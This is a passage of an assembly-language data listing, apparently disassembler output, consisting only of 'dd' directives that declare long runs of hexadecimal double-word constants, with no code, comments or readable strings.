		dd 2BAB5529h, 0E47CC3FFh, 2638B4D1h, 0EC525793h, 0C2FAD6E6h
		dd 2179E143h, 94BC262h,	253AD561h, 4482019Eh, 63764062h
		dd 5060A640h, 0F2542C0Ch, 1C315C5Bh, 5AD33D73h,	0E70889ADh
		dd 632913B2h, 1EFBE088h, 16F6EB8Dh, 0B0D55FC9h,	975BD8C0h
		dd 3B782776h, 989C5CC8h, 0D2358072h, 0D1C4E397h, 36405B7Fh
		dd 60AB4A29h, 0D1530C3Ch, 52951AECh, 10222DAEh,	0B6BD447Bh
		dd 0B8E53A9h, 4E7961D0h, 0AEF5620h, 0DAB00CC9h,	0E28BDC93h
		dd 0AB37165Eh, 0C2F195ECh, 0EC28BA2Eh, 106910EFh, 0C12A471h
		dd 4009B7A4h, 0BE035639h, 6EE667D1h, 329EC1h, 9982F0C6h
		dd 56AFE911h, 0F286E8BFh, 1E5816CAh, 3EFAA1F6h,	0E90920BFh
		dd 4FBC55B7h, 4B96F97Bh, 848AE178h, 0E8DF88B6h,	2F547E2Dh
		dd 0FA4A8E70h, 0C7A28BF8h, 909550D5h, 0DA8822B1h, 5D9736B0h
		dd 6696B71Fh, 9D3059A3h, 0B652AC85h, 0E4386579h, 2DFF5A20h
		dd 0C1D0128Ah, 5253E840h, 0FC8F682Fh, 15A7C0C6h, 0E9123F78h
		dd 0ADE42F3Bh, 0C0C709B5h, 0B0FD07EDh, 54309F31h, 3868CBD5h
		dd 0AA5B4944h, 3C29BC39h, 0C44A2C94h, 56172C6Fh, 3AB1E926h
		dd 27637B2Dh, 2DCA1455h, 0FB0F52E9h, 0DB84022Bh, 509BB2E8h
		dd 9F409B81h, 9A22468h,	380A6F47h, 0BADE45F2h, 0FC5AB682h
		dd 4EC55842h, 0FC81D582h, 2F585D68h, 5B266FCCh,	591B020h
		dd 4226E04Fh, 804CEA12h, 130C6DB8h, 16484963h, 6C3CB61Fh
		dd 52486693h, 74B02770h, 922864EEh, 5C57212Ch, 0E8C1781Dh
		dd 0C8310E0Bh, 2E55D291h, 6FAB4F02h, 0E55F2A06h, 9B85003h
		dd 0E1C5859Ah, 188C2169h, 504D8F7h, 969F9E09h, 0C0C892EEh
		dd 2C305002h, 1CB604B1h, 950D07E9h, 84565EAEh, 148FBA5Fh
		dd 8A10D443h, 24BB3571h, 26695411h, 7B12A55Bh, 4FB918A4h
		dd 0E806D936h, 139408D3h, 7C02A3EAh, 0F5503C1Ah, 80099FF8h
		dd 0DCAFC3E5h, 0CB4C25DFh, 0D6122525h, 0F76861E2h, 13513655h
		dd 79A98CB6h, 92ABA10h,	7165BE68h, 32B18AB2h, 0A9813A7Bh
		dd 0CA0155CDh, 70BA3B59h, 1D6AE946h, 202FB9Fh, 311A1042h
		dd 565AF7FEh, 0A8531399h, 0D384E76Eh, 2FA0F6EBh, 0AD6F7C4Eh
		dd 73B7C714h, 3E280825h, 0BBB5913h, 0E3FE0B7Eh,	74AF2921h
		dd 787C247h, 110F98F2h,	6B037D93h, 0C1F941FAh, 0E1F83521h
		dd 0D2300365h, 4AD18736h, 0FCFC067Bh, 0CE120F38h, 33149CEFh
		dd 0BF8FE980h, 344C82FCh, 0C1031217h, 0C5A1AB21h, 0E2FB0805h
		dd 7DBD2537h, 82D9F433h, 0EFB93E66h, 0C6853C1h,	0A63A2Ch
		dd 0CDDAE982h, 17737D52h, 16BCBF80h, 0F03B9C76h, 0CF0481CAh
		dd 57121C4Fh, 0BA0712FBh, 0AA403489h, 489D5C45h, 0EA27FC53h
		dd 0F4B58158h, 685DCB69h, 918C4DC8h, 5D4F0222h,	5C0253Dh
		dd 714EC768h, 0AFEDB631h, 4AC84034h, 0B309FE2Dh, 0C0C05F05h
		dd 694F58E9h, 44DB5743h, 0C9E60272h, 392B2A9Bh,	74F5AB80h
		dd 0CC02D9Eh, 5240206Ch, 7E130C1h, 96BF32Ah, 0C68E5860h
		dd 908C0F7Dh, 27505ABAh, 0D790857Bh, 0FC30A5ABh, 63AC07AFh
		dd 8CE472F6h, 0D00ED5E8h, 134180ECh, 0C8E28852h, 6BBC5AD1h
		dd 55C2136Eh, 0BD65E97h, 8104DDB7h, 8907AC33h, 0C6E8C849h
		dd 7EA1636h, 2A8F823h, 3ECC7BFh, 3D40F70Fh, 0E9AA5752h
		dd 0E9B4E8D7h, 909A5B40h, 0F868146Dh, 84E02B49h, 8FBA0198h
		dd 0A55D7FEEh, 0EC2D0986h, 29FE0406h, 7178CC4h,	4058DBD8h
		dd 5A00BD34h, 11F456Ah,	9BF5FFDh, 0C07E656Ch, 69418FFFh
		dd 92FD8F9h, 402437B6h,	9B455987h, 0CD388805h, 9FE37B32h
		dd 85DAB8D6h, 7380E4A0h, 0BE636A68h, 0AFDE64A4h, 51B9BABCh
		dd 7F6A092Eh, 56B226E8h, 2AC10460h, 2DC91B58h, 5981851Ah
		dd 30B9D9ABh, 6658AAB2h, 0BBB3C25Ah, 0FE0C5230h, 2FA59E14h
		dd 42684440h, 1022CA4Ch, 2D79B97Eh, 34FE1A30h, 167BC7C0h
		dd 0FDCEB02Ch, 577B716Ah, 0A93603h, 3E96347Dh, 1D38EA81h
		dd 0AE105171h, 0C17C04FAh, 4390AE15h, 4E8A1949h, 0B502AFE4h
		dd 7F585FFAh, 6816D71Eh, 0F616A1Ah, 8701771Dh, 80C06AD7h
		dd 612C84C6h, 0DF7BDB80h, 53BC2E49h, 0FA5F0840h, 0D41153E2h
		dd 6AB2A05Fh, 0E0951273h, 0D6A2BB10h, 0E55BF55Ah, 2BB13591h
		dd 0E2FE8812h, 0F6B9B61Ch, 0A3FB5A7Dh, 26F14B68h, 0E62F55C1h
		dd 0FD5D25F7h, 18E9EE48h, 2BB4A14Eh, 31509703h,	0D5DEE328h
		dd 4329DA44h, 0B1510052h, 0E9C888A9h, 10F29523h, 261AE305h
		dd 0A0EF297Ch, 90ED502Ah, 0D000CACh, 3E8E1A61h,	1E2DE735h
		dd 0DDD600EFh, 0B746E520h, 882105Ah, 76127DFAh,	3FF9FEFBh
		dd 12F10D9Bh, 0CA912E30h, 0E01514AFh, 0B09BA7Fh, 662F5Ch
		dd 0EC411E0Ah, 160C9612h, 4C8E0413h, 3324E052h,	72975174h
		dd 5A0780A3h, 2E335C1h,	0BAC795C4h, 0F4379E91h,	0BF5FFC79h
		dd 33C0C345h, 82D9AFh, 35FC68DEh, 0CFA198B5h, 6333BEDEh
		dd 4E02E2B4h, 87685666h, 3DFF7167h, 49A6B90Ch, 983CC1C6h
		dd 0E41B074h, 0C772E6C9h, 0C076990Bh, 3E9D9F7h,	5B008196h
		dd 2838EE80h, 0B05000CEh, 0E9D8F64Dh, 0E4975DA4h, 0A9054BE9h
		dd 0EDF15EECh, 6FE9C2C8h, 0E681936Bh, 0FB20035Dh, 59E50C04h
		dd 0BDB4645Eh, 97670BEEh, 83D6AE5Bh, 0E3433F83h, 90C041Bh
		dd 0C14AC435h, 626EFB24h, 4270B7Ch, 82D6128Bh, 15AA194h
		dd 896F26E9h, 7F59CD9Fh, 0B3CB06B0h, 55B81CC0h,	2861631Ch
		dd 4FA1E0C1h, 0F77D9079h, 293030DCh, 709E0C0Ah,	90734F47h
		dd 1875EEF4h, 0C5D0530h, 4E202AC3h, 417BF97Dh, 140CA008h
		dd 56E9A5C5h, 0FA2AE1B1h, 0B2AA6964h, 6DE9B1AEh, 0EEF0123Bh
		dd 0E85FF08Ah, 0E1AF855Eh, 0A5B1BC00h, 1259CA28h, 0FC5AD520h
		dd 0CD017DE3h, 803BB753h, 0EFEC46F7h, 0E4CDED04h, 2060C90h
		dd 0E9FD28C3h, 773B4AA8h, 7F4629D6h, 0CD810261h, 7C192F44h
		dd 50106260h, 9032627h,	0FB3AD74Ah, 50B00963h, 80BF0746h
		dd 53DACF2Ch, 0E9491CA1h, 0C6D2650Fh, 0EF8878B6h, 875E0BB7h
		dd 0C1677Fh, 52BBAEEBh,	0DF4829E0h, 0ACC72CBDh,	0E13F300Fh
		dd 0A13911E7h, 0A56E04FBh, 0A83D0D3Ah, 0F34F0237h, 43FE317Eh
		dd 0D651FA1Eh, 0BF066C82h, 266C4A12h, 0F3E27BB8h, 215E1082h
		dd 25407475h, 0C2090682h, 42C2C65Ch, 81EDDC0h, 0D8207C9Dh
		dd 0ED498AE9h, 50CF0167h, 0EF287AB8h, 13183270h, 0B1A409FBh
		dd 59A99362h, 0D52F2304h, 0AE8C102h, 0F812C15Dh, 884C7D1h
		dd 0BB454468h, 2B72895Ch, 625362E0h, 0C2A67486h, 0A40A0E23h
		dd 42269102h, 0C281604Ch, 0EAEF2D3Fh, 0F2C5CD0h, 0C30A120h
		dd 900E3E09h, 0D2D3518Ah, 810C0806h, 17B5A14h, 232B60E5h
		dd 8D508551h, 0A0ABEF6Ch
		dd 8A2EA26h, 0C21C5B5Bh, 831C68D2h, 384C7527h, 20E8719Dh
		dd 9656BFACh, 0C0C6AD3Dh, 2FE2BFBCh, 2C707B15h,	290380E1h
		dd 0E9F787FEh, 0D13C5F94h, 737FB2B4h, 134048ADh, 8EEB2F45h
		dd 0E4D32DBAh, 52DF4000h, 43607FB0h, 82E5F18Fh,	0B32C4FA1h
		dd 0C266695Bh, 0C4E7FF3Bh, 5D426016h, 0A21D7E68h, 0E1CCDDAh
		dd 56F4F009h, 60B674CCh, 732D281Eh, 277A4377h, 46FF3537h
		dd 87BED304h, 0BE28A37Dh, 0FC449D2Dh, 2DF46885h, 85A793F6h
		dd 56EB0CA9h, 8242E267h, 5E777068h, 39EAE2EBh, 8F0B9B08h
		dd 69A5549h, 0AA31D256h, 55C2111Ah, 775A465Eh, 21698140h
		dd 57F7723h, 45575868h,	0D874B185h, 541EA9E7h, 0D31628B5h
		dd 5EBBD00h, 2F2E6855h,	354C4711h, 0DEE9530Bh, 88965993h
		dd 7E326873h, 4E51555Bh, 53F325h, 30604A99h, 2D50E801h
		dd 9325E907h, 0BD2D4EDBh, 9C2748A7h, 5F4EFA5Dh,	0DC509ACAh
		dd 91144E49h, 1488D03Ah, 131216F0h, 0F1359851h,	847F389Ch
		dd 0DDAA8440h, 581F829Eh, 0D31B2268h, 1BF62FAFh, 0F588CFE4h
		dd 0B685400Bh, 60B50303h, 833EED80h, 0ADC5ABF5h, 9ECB083h
		dd 5DB0E95Dh, 57131EE5h, 0A95E2AA3h, 0E9FB096Fh, 8412421Bh
		dd 61445965h, 884218CDh, 5DFD2711h, 7E5D29DDh, 5F0F3FC0h
		dd 0C2647D0Ah, 15BCBA58h, 0A89320E4h, 63639643h, 2D75D2E6h
		dd 20D55928h, 0B977E9ABh, 3587759Ah, 0BEC3D652h, 16BAEF42h
		dd 0D00FFE3Ah, 8B9D5CE9h, 5A4CF6A2h, 961DDE77h,	0E99256B7h
		dd 6B1E0560h, 46AE7B6Fh, 20EB6AF3h, 9BF5202Fh, 0EE86ED9Dh
		dd 59BA1354h, 19609A6h,	0DCFCEA58h, 272B3C3Ch, 832CD829h
		dd 0E9430908h, 0F3778FE4h, 77BE3019h, 0E1ADB2Ah, 101CFB29h
		dd 0AAEEE908h, 0F598DFCCh, 0AC93D3F5h, 926F5200h, 132F684Dh
		dd 0A6588B84h, 0A6011D4h, 6CD3CE2Fh, 743AAF42h,	0CE744F35h
		dd 8704E04Fh, 1FB4511Dh, 2532CE81h, 0F870416Bh,	840F8035h
		dd 9EA9D02Eh, 65F201A5h, 0F120264Ah, 8436508h, 625CAE06h
		dd 5F5125C7h, 3CF3C12Eh, 11211301h, 6405EA42h, 4A56608Bh
		dd 0CA6746Fh, 932DBE04h, 47EA5DACh, 0F7F3F69Ah,	60DF6B10h
		dd 91193C6h, 6BE95F06h,	9729DDC1h, 4BAEEE1Ah, 85D55A26h
		dd 7C24E3Dh, 0DD35580h,	97394DA5h, 5F204916h, 2F0896D7h
		dd 81A11D8Fh, 45D737FFh, 6C05FFE1h, 8EEF2A79h, 9A0117F2h
		dd 6C2029BEh, 0B5FA9200h, 0E90A8B70h, 509AD09Bh, 2CC5825Dh
		dd 58DBFDBh, 0AF292868h, 0FE2C3BDDh, 12F3EAA5h,	63E14125h
		dd 77AC3A59h, 0BBC5B2CFh, 0D13DCC11h, 0A835E80Fh, 0C372AB2Eh
		dd 61EA8D20h, 339FA4B3h, 43680789h, 3029075Fh, 0B5DEF746h
		dd 1B12E478h, 9C0114B4h, 6AB53416h, 36B3B747h, 260D0535h
		dd 7F7C31Dh, 0CA15CFE1h, 0E9CE03A9h, 6A5B20BCh,	54091EB0h
		dd 0BEFE501h, 60505A7Bh, 8A0137Eh, 2B625B4Eh, 2653D4E8h
		dd 587339B7h, 0BA178CC3h, 0DEB5E8C5h, 1E0E884Bh, 0C050FE19h
		dd 0E01278CAh, 8C0BB801h, 0A7FE1FEDh, 0BFC4E921h, 2665A9D1h
		dd 0C5442312h, 8CF8E177h, 32F423C4h, 0F0D2844h,	0A93C695Ch
		dd 8059D7B5h, 8CA365C4h, 12254A4Ch, 826935F9h, 793B15E7h
		dd 57BB00E5h, 29558622h, 26FCD84Eh, 0D89DDAB6h,	58419D10h
		dd 7955D2F1h, 64D9CB16h, 0B05EC409h, 270139F8h,	64766EB4h
		dd 0FEC70440h, 56E9164Bh, 324FA488h, 0E34F4540h, 5E60A02Bh
		dd 11A7CE5Fh, 68D23102h, 54AF4686h, 0AC01F905h,	19D3C56Eh
		dd 0FFECA649h, 492CCAC6h, 0F4168FEh, 0F5CAF459h, 0CBE04CDAh
		dd 1289B2BEh, 6671FC0Bh, 34B055B9h, 0C7037595h,	0D5E9EB01h
		dd 1DD85540h, 833C8738h, 8EEFE728h, 0E9090854h,	0DDE60C33h
		dd 1D141700h, 68BE560Fh, 0D55C481Eh, 574C51Ch, 0EE296208h
		dd 8113184h, 2F5F4C84h,	0DF1442CBh, 660B2765h, 20AFEE6Fh
		dd 512E44BDh, 0E4442558h, 3E7ABF40h, 0D0B74BCDh, 1CC2C75Ah
		dd 55327086h, 2EE5FD89h, 0D01E230Ah, 1CF8180h, 901C4E0Bh
		dd 43E747Fh, 1DE96FACh,	0B2CEBBD6h, 9D784C50h, 0BA81233Ah
		dd 70B1514Bh, 85A65CDh,	60197728h, 49F1A9DCh, 810264FDh
		dd 615E98F7h, 45F45F17h, 64C10217h, 417980B1h, 402CBD12h
		dd 127A42ADh, 609D5E25h, 60905F75h, 847C804h, 0D4A02893h
		dd 800BE53Fh, 7BFE3107h, 25E90116h, 3B705465h, 809F494h
		dd 0F018DD5Eh, 0B06014E9h, 11A3C6E7h, 89BF1FA6h, 0DEB647F2h
		dd 7751EBFEh, 54CB7AC2h, 0C40B6EE8h, 0D02D64D1h, 0AFFE9F88h
		dd 96D701D0h, 5B9AA033h, 0A70CB879h, 0DDD376C2h, 1854133Ch
		dd 0AB3ABBB7h, 0E86CA57Dh, 81F8CE7Bh, 5F407459h, 1E3E7241h
		dd 0AC4409E0h, 71CFFDB0h, 0AC79C795h, 0EA95414Ah, 74E02DFEh
		dd 1F88D096h, 0A31627D9h, 50AA4CB5h, 48C7150Ah,	277A5758h
		dd 3FD46173h, 617C25FBh, 7C20C566h, 40BF0527h, 0B86A8F5Fh
		dd 805C25E1h, 78CCB9EFh, 0C1613DBCh, 88040BC9h,	0A8061BC7h
		dd 565880h, 71A044A7h, 48DBF743h, 653D3852h, 8C0FD26h
		dd 923A18ADh, 0BEF4D8AEh, 0D654169Bh, 9327F830h, 0C41DCB8h
		dd 0B9E9D89Eh, 4098DB18h, 0F54FF680h, 14CE35E0h, 0A8E6C085h
		dd 0F9994717h, 0C0FA4A6Ch, 0E452D5A1h, 0D88A4360h, 2407EC37h
		dd 89BFE09h, 680505C7h,	86E32779h, 2CB4AB10h, 0FD266431h
		dd 0FB2FB926h, 0B4680E12h, 82BB3553h, 0D60CDEA8h, 7D710086h
		dd 0D5CB8118h, 81BD3C07h, 4FFA90DCh, 5E436230h,	31CDCA23h
		dd 0D0F70B47h, 60050481h, 0F9F590E7h, 2E97BF40h, 62726D1Ch
		dd 664D41Bh, 2DD4D2E9h,	42F481F4h, 6D833518h, 5F9C711h
		dd 0E96EA333h, 785AB1CDh, 0AEEA715h, 3FE35216h,	42325405h
		dd 0AFD741C8h, 8F7274DEh, 57BED329h, 11DCAF8Dh,	0A60A7468h
		dd 25659C9Ch, 0EFD52A09h, 417C08BDh, 6C50B900h,	0BBD0848h
		dd 398A0547h, 0C5742077h, 58070A90h, 0F896523h,	0F75A8E7Ah
		dd 4FFCDE44h, 7B685F07h, 26BFB7F9h, 0C6B49D64h,	0BA9298FFh
		dd 0B7257509h, 2F67D60Ch, 0B821B72h, 5A709542h,	64FC749Dh
		dd 5C70D271h, 13407A89h, 733D57BFh, 0D8ECDA2Dh,	0CEA925E2h
		dd 8D98B876h, 2F504E06h, 3CF8F888h, 1AEE5B4Ah, 0B4820813h
		dd 0D20AB546h, 6D5F1104h, 3D2AE8AEh, 0D9F10241h, 5C144860h
		dd 49032FEBh, 2ED8E0EAh, 6813585Ch, 2AB87134h, 2CC1EBCDh
		dd 0BFAA20E7h, 0B9B8F000h, 5A5ED561h, 0F713B1B9h, 4AF3F65Eh
		dd 91044DACh, 0BB077457h, 16D84288h, 0EC6ECF49h, 6A2502D9h
		dd 5852E93Dh, 77BA0E23h, 9E1B3C7Ch, 183B0C38h, 5A5FD021h
		dd 6F6A2468h, 45F868DCh, 0D0E04BA5h, 2DC56900h,	597BE828h
		dd 0C129F47Fh, 0B8018FADh, 2912A80Dh, 809E454h,	7284555Bh
		dd 0A817AFFFh, 4A988EAEh, 53858CAAh, 18EE927h, 8E5C156h
		dd 4406F882h, 2044391h,	98DCCDAAh, 81195EC6h, 506B79CEh
		dd 4F4A82F7h, 7854F27Dh, 895CF832h, 1CDE57EDh, 5FD7724Ch
		dd 82BA85E7h, 185D8DDAh, 9DE443DFh, 17681990h, 38CE7412h
		dd 0DF48F2C0h, 0E5234C67h, 0F2804648h, 0FCD83340h, 8BF579Ah
		dd 7212CB69h, 8C864BF2h, 0E230EF26h, 4F043E08h,	0A1F74E78h
		dd 99CA3BD1h, 0DC5EE905h, 0CA28ABFEh, 9642568h,	0D582A7D1h
		dd 0E0489537h, 26259B4Fh, 0BC7241FEh, 4B5C0227h, 0F0E1C30h
		dd 2963098Fh, 0A0D55FFBh, 2567D247h, 0F8595A19h, 0C209A0E4h
		dd 53E826E9h, 0B356ADD8h, 0C6DB4C27h, 92143916h, 5DEE310Bh
		dd 6429004Eh, 0EE441719h
		dd 12084EE9h, 1DF6BE11h, 0ECF6E9C2h, 5FA531D9h,	0A984AA94h
		dd 59CE4E5Fh, 9C483246h, 57563A17h, 7A9DBD4Bh, 0E61EDA2Ah
		dd 13DCEE1Dh, 280C67D8h, 0BA5D2DBCh, 7B3752E8h,	0B7150B2Ch
		dd 5E1707A0h, 10B16EE9h, 4E6ECE3Ah, 0E2F56DE8h,	20A92508h
		dd 5848F276h, 0E7C57BB5h, 1766EA74h, 0EC4AC968h, 0D4A0F057h
		dd 212B4FEh, 1FB01B19h,	300804DEh, 0EA290622h, 38F0205Dh
		dd 81427000h, 2A1EF5F7h, 90F9048h, 7586805h, 0E33E1646h
		dd 29799043h, 0B161EC93h, 0E94EF041h, 15D0257Dh, 4C696866h
		dd 1BB35DA9h, 6FD6E29Ah, 81413258h, 0A3A7205Dh,	0D5F5E295h
		dd 0EF08E75Bh, 68570092h, 416B1B35h, 0FD68F4B1h, 85AA8808h
		dd 0FB373868h, 0AF9761CBh, 8860839h, 8453B8B5h,	5E8D3E20h
		dd 2C041658h, 41975C0Ch, 247A75C5h, 0A5E0BBC7h,	69F89D5Fh
		dd 2FEDC980h, 507A570h,	4C5326E9h, 0DC10F8E5h, 5F5F8B08h
		dd 50A400E5h, 3544A000h, 586966A9h, 93031417h, 2928F114h
		dd 88378B6h, 0CE98AE7Fh, 3D22A726h, 53350Bh, 63257D71h
		dd 0BD975018h, 1E3BA16h, 0E8C0C8FEh, 70792C05h,	0E9EA56Ah
		dd 0EB095A60h, 0D3870D39h, 6008DAF7h, 0F3C0B996h, 8C1C64C1h
		dd 4003985Ah, 0F72E4929h, 2B0313D9h, 7A664339h,	50D2003Ah
		dd 0C8108468h, 0ECB0580Fh, 5D3405BFh, 4CD4F3BAh, 10EC5E9Fh
		dd 0AF3B5F4Bh, 8350F009h, 80C7FE07h, 86D2F9E7h,	367AD590h
		dd 529D22F0h, 79F59864h, 27A9C183h, 41074360h, 7E6190EEh
		dd 4F01E6C8h, 48B89CD7h, 0F6E31965h, 0C0CEBA04h, 0A84F82EBh
		dd 0CABB6DE8h, 64105C13h, 6AC8B307h, 43EF6094h,	3F366E82h
		dd 4581AA94h, 0D36BDF3Bh, 9AE1D767h, 10225Ch, 2AAA7AC7h
		dd 18FA310Ah, 0C1ABB9E9h, 0EEA003EEh, 292818BBh, 0C23BFC4Ah
		dd 12C0B41h, 0E8B0FFF5h, 0FBC954E9h, 0F14E6849h, 0CC661FB8h
		dd 1AB6C921h, 9EE9CE55h, 0A6D62F33h, 15100BC3h,	94E2E11Dh
		dd 0E3843759h, 62133516h, 0B9812285h, 0BCA7FED2h, 9EF7A760h
		dd 3ED10917h, 0F6094EACh, 0A822D836h, 0B582EA83h, 98DF135Ah
		dd 82377067h, 2049AA4Bh, 3CAE4F45h, 910968F1h, 41490528h
		dd 9B2A511Eh, 601239Fh,	60D9D8E9h, 9C9E196h, 9654CEA3h
		dd 0F27A0905h, 2012477Fh, 28AB01E7h, 6BE91EBEh,	5F16BC22h
		dd 498065C1h, 61C1746Fh, 23137DC5h, 659650BEh, 35367700h
		dd 11E50558h, 0E93B0CD4h, 68288984h, 8D5F8B2Ch,	0E4032F6Ah
		dd 0CC272B6Ah, 81DEE902h, 748FB86Bh, 0B989A0AFh, 49240B03h
		dd 8925050Fh, 0D3FC28C6h, 0A2FE4BDDh, 0D06B2D22h, 8A5C4A8Eh
		dd 0D3BC4A59h, 1130FAB1h, 0A3894DDAh, 25E48F3h,	0F47C00C9h
		dd 0A0653C49h, 255F0298h, 0C98033A4h, 9539E2EFh, 0CC0C82F7h
		dd 0D5121FB3h, 80FE00Ah, 5E00B963h, 610DE8D1h, 29B1003Ch
		dd 0B83A6C2Dh, 8F09051Bh, 0D5EFF87Bh, 17049102h, 6F549299h
		dd 46180A21h, 0C439FB04h, 0E553BA2Bh, 0D1E696C9h, 3EC025DCh
		dd 5007764Bh, 20478F7Bh, 0A3A77A7h, 5DAE892Dh, 560EB96Fh
		dd 55162968h, 0B981D0C5h, 8153766h, 0D9C31E7Fh,	2E5BC3DEh
		dd 8D6602E1h, 0E681BCD3h, 0D5FE95E4h, 2A3940D2h, 16193B2Dh
		dd 0A01E600h, 0D6F767B1h, 3A46815h, 4DBB0A55h, 5C27EA39h
		dd 250271Bh, 3B23D148h,	2EF32654h, 31BC7DA5h, 35E5748h
		dd 515859DFh, 0AD13B9BFh, 20E84292h, 441AF1C4h,	762BE52Fh
		dd 77784009h, 25B8F6BEh, 343DE841h, 3BC5989h, 4A094C9Fh
		dd 7B60EB0Ch, 9299BD55h, 0EE012C6Eh, 66DC2D15h,	74E13816h
		dd 538275C2h, 1F60641h,	0ECD08061h, 8692807Fh, 0D662F6F4h
		dd 7443E908h, 1BB0BA0h,	0AD25C9C4h, 1735180Ch, 664F3028h
		dd 0E83BE582h, 0CD873D0Dh, 0A1000641h, 0A0445851h, 0BF219AB8h
		dd 62740E92h, 8AFB5996h, 0E9950Ch, 1AE32D5Ah, 0B80148BCh
		dd 92078206h, 5B87C161h, 27C88A6Fh, 0D424A2F5h,	0F28101D2h
		dd 2873D49Ch, 16F17495h, 29694F23h, 0D6C80B12h,	4BCFD5D6h
		dd 882AC136h, 0C03CB160h, 68D0296Dh, 49952E82h,	0AA04F4B5h
		dd 0D21212A9h, 0B7BAF828h, 51C845D2h, 0EA5F8853h, 0D62D4D2Ch
		dd 34B602DAh, 875D1670h, 304CCB44h, 100CCBADh, 0DA6BBBFFh
		dd 5A6EC966h, 9B70EE2Ah, 4A11E9CBh, 48B5F2D7h, 0B217241Eh
		dd 5E5613DAh, 52F9C830h, 22E4FD98h, 5847CB13h, 0BC7912EBh
		dd 0E024251Ch, 0EEB65221h, 26F45988h, 8577259Eh, 81AB0701h
		dd 0EA203257h, 0B2525300h, 2DE9F6FCh, 25C85905h, 55583414h
		dd 0D2971315h, 4B136F64h, 0E50313E9h, 686609EBh, 1A44F5F0h
		dd 2A143024h, 0C001C301h, 413F3117h, 7FE95690h,	0ACE77E3Ah
		dd 0FC278922h, 2F705262h, 0DFE4F53Bh, 54A8EFCh,	0C6AEA756h
		dd 76B50C33h, 6858023Fh, 455F2332h, 57E9097Eh, 8078F4C3h
		dd 0B788F440h, 6C45C1AFh, 2A02BD0Bh, 0BABDF325h, 0ED85546h
		dd 716889B5h, 0F0D3CF2Eh, 0C9B45941h, 0B7337F8Ch, 5F130ECFh
		dd 157564Fh, 5D52AE81h,	2DF2287Ch, 7161D050h, 95C1747Bh
		dd 0EA518B5Eh, 0DBC28E81h, 2E07794Eh, 5FB343C1h, 55266923h
		dd 0E7173844h, 0FA1925FEh, 0CF208687h, 0EFD7F659h, 40CE5870h
		dd 0D90168C6h, 5D47E424h, 6481E5C1h, 1D0725EDh,	0C577611Fh
		dd 9FC42E69h, 54348FBAh, 0E0286243h, 899745FEh,	0DE907F73h
		dd 0D76BE5E9h, 9AABF744h, 0C3871F07h, 3802CD37h, 1D559068h
		dd 50D8E867h, 0D2059054h, 5890F270h, 3B054EB5h,	0FFC0CA87h
		dd 1C9B639Ah, 0B1926817h, 149506Dh, 4E365954h, 0E705813Fh
		dd 0F5691027h, 40805D7h, 8DB6B977h, 9349E0F2h, 20145BBFh
		dd 0D46802D5h, 5F4C5E30h, 0F73AC85Fh, 0B90218CAh, 717F0C11h
		dd 7F5E083Eh, 747E8D01h, 2821E936h, 3D394EA6h, 3A661583h
		dd 0B2E91BAh, 6D0C4C29h, 4417376h, 81549B47h, 66FEC0CAh
		dd 46D25071h, 43E3954h,	0D3DB3839h, 163BE6BAh, 248612E9h
		dd 55021EA0h, 0F4F08951h, 7F103AD5h, 294ABFE6h,	0BBED6E85h
		dd 0C773E9A0h, 7CE692BDh, 255080E3h, 0D30128EEh, 382152C0h
		dd 5AF70565h, 33FD82DFh, 0C6A2C720h, 52B509A8h,	867FFA89h
		dd 0C1A5F92h, 56AB676Eh, 3505BE0Ch, 0F72943A6h,	6808A310h
		dd 5E02140Ch, 0F7583968h, 0DBBD2B1Eh, 0C042137Fh, 0CD215EB1h
		dd 0EDC15909h, 60558008h, 5D38B511h, 0A54EDF55h, 2BE131B5h
		dd 0A9BDF817h, 83AEC38Ah, 79109D2Dh, 4190F84Ch,	2FB01907h
		dd 0E611CEE6h, 561C270Ch, 2E685987h, 0E90B91FCh, 9AF66B5Ch
		dd 4B474B52h, 10D2CE62h, 0B05A572Dh, 41BDB13Dh,	0A27AFE5Ch
		dd 3525960Dh, 17019FEDh, 0E9BF60ECh, 497CD247h,	0A4EA66E5h
		dd 0CB625EBEh, 62C82952h, 3BF8D7E4h, 12E92D4Eh,	1370B84Bh
		dd 0A1A2AEE2h, 0E6F9BD9Bh, 0EB717E17h, 6D64D8F7h, 0B1840C05h
		dd 4A62D698h, 38C71512h, 0C25D5CEEh, 727F5031h,	36A457C0h
		dd 7735C827h, 7DC99900h, 1876CB56h, 92F9E13Bh, 0D5B1575Bh
		dd 0C102ECE8h, 64F980Ch, 0FF16005Ch, 25F37BCBh,	8F658D79h
		dd 8226599Eh, 6CD37569h, 4FB4FE12h, 29CA40D0h, 5D2DE866h
		dd 38A74E16h, 0A5FF881Ch, 0CC425730h, 3ED1967Dh, 80CBE954h
		dd 5D9FBE11h, 520EBF13h, 0C52D1202h, 320CC029h,	70632614h
		dd 2D4178Ah, 0B8E969D7h, 0D3E878D8h, 28B2E00h, 0FC15E20Dh
		dd 161EC941h, 10C9CA71h, 97F46E81h, 439364D9h, 0CD301BF0h
		dd 8B0632DCh, 82D6F60Dh, 0DD3CF004h, 14AAF490h,	0F910B8Ah
		dd 5CC845E5h, 0C38B355Eh
		dd 15638452h, 0E56AD2C9h, 0AF492E1Bh, 2FD6FCC3h, 7DAD135Fh
		dd 5BF6A360h, 9F7FF21Ah, 0DA57D892h, 47300BABh,	0CCE7BD03h
		dd 0E27F7AC1h, 6AE9A180h, 0E3803B6Dh, 6B615C1Dh, 0D52CF200h
		dd 0D731B485h, 0F5055A27h, 0FA33378Eh, 8CC441C4h, 0BF2E12FBh
		dd 0CFB27837h, 0FFD589C9h, 4312D710h, 0FFCD7A51h, 0B8750BDFh
		dd 17595350h, 13D3F75Bh, 1377A956h, 518D71ACh, 1924BA2Eh
		dd 9C6E0CEEh, 0C092DFDh, 8E0AC80Fh, 0DD4FA0BEh,	5EE94769h
		dd 0F6DC00B4h, 16F180D1h, 0B944CB90h, 137F9544h, 61BE9D4h
		dd 16E68A2Eh, 8A6151D2h, 0AF2A6DEBh, 0EC5C1B22h, 0FDE49DE6h
		dd 1D185260h, 46E3F2Ah,	4219D6BAh, 73FEA8E8h, 0C35328F1h
		dd 9481E6D1h, 40D9F080h, 3B3127E9h, 1734872h, 0A593CE3Dh
		dd 5D25E108h, 56C0A361h, 5C2EC9B9h, 6E05ED41h, 0A0D41AF2h
		dd 0F192F420h, 0F5669D1Eh, 815EF8ADh, 13605F07h, 60C0BEF8h
		dd 34D2131Fh, 782687B5h, 0D0EE4935h, 659CC174h,	841EEC3Ch
		dd 0B23BE9CAh, 50B44A9h, 22023422h, 5E046A4Ah, 139AB5E2h
		dd 555175C8h, 0A4685602h, 0E06CD467h, 974A1348h, 0F52D68FBh
		dd 90DD1812h, 2A685025h, 69C155EBh, 22D8375Dh, 0FEF59610h
